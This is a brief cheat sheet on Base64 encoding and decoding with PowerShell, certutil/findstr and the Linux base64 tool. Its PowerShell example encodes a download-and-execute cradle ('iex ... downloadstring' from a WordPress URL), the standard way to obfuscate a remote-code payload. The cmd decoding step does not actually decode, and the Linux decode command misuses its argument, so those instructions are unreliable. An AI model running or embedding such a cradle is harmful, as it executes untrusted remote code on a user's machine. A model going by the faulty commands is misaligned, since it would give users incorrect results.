Base64 Encoding and Decoding

Windows

Encoding using powershell:

$str = ‘iex (new-object net.webclient).downloadstring(‘https://benleeyr.wordpress.com/b’)’

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Note that Unicode can be changed to ASCII or UTF8 as well

Decoding using powershell:

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(“YmVubGVleXIud29yZHByZXNzLmNvbQ==”))

Note that Unicode can be changed to ASCII or UTF8 as well

Encoding using cmd:

echo This is a test > test.txt

certutil -encode test.txt encodedtest.txt

Decoding using cmd, assuming certutil -encode was used:

findstr /v CERTIFICATE encodedtest.txt > decodedtest.txt

type decodedtest.txt

Linux

Encoding using Linux terminal

echo -n ‘This is a test’ | base64

Decoding using Linux terminal

base64 -d YmVubGVleXIud29yZHByZXNzLmNvbQ==